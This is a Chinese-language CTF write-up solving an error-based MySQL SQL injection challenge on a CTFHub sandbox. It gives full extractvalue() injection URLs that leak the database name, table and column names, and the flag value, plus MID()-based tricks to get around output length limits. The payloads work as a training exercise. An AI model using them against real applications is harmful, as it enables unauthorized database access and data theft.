点击此处获得更好的阅读体验
WriteUp来源
本WP来自pandaknight
原创投稿
题目考点
报错注入
MySQL
解题思路
尝试报错函数
发现可以用extractvalue()
,错误信息能够显示当前使用的数据库名称为sqli
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+
爆表名
获取表名,推断flag
表有我们想要的东西
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
爆列名
获取列名,flag表的flag字段或许就是我们的目标了
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+
爆数据
初次尝试,发现显示结果不全,推测此题对回显长度有限制
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+
方法一:MID函数
MID()
函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
提取查询结果前16个字符
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))--+
提取剩余字符
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))--+
- 拼接得到flag
方法二:直接select
取巧的方法
1
2http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))--+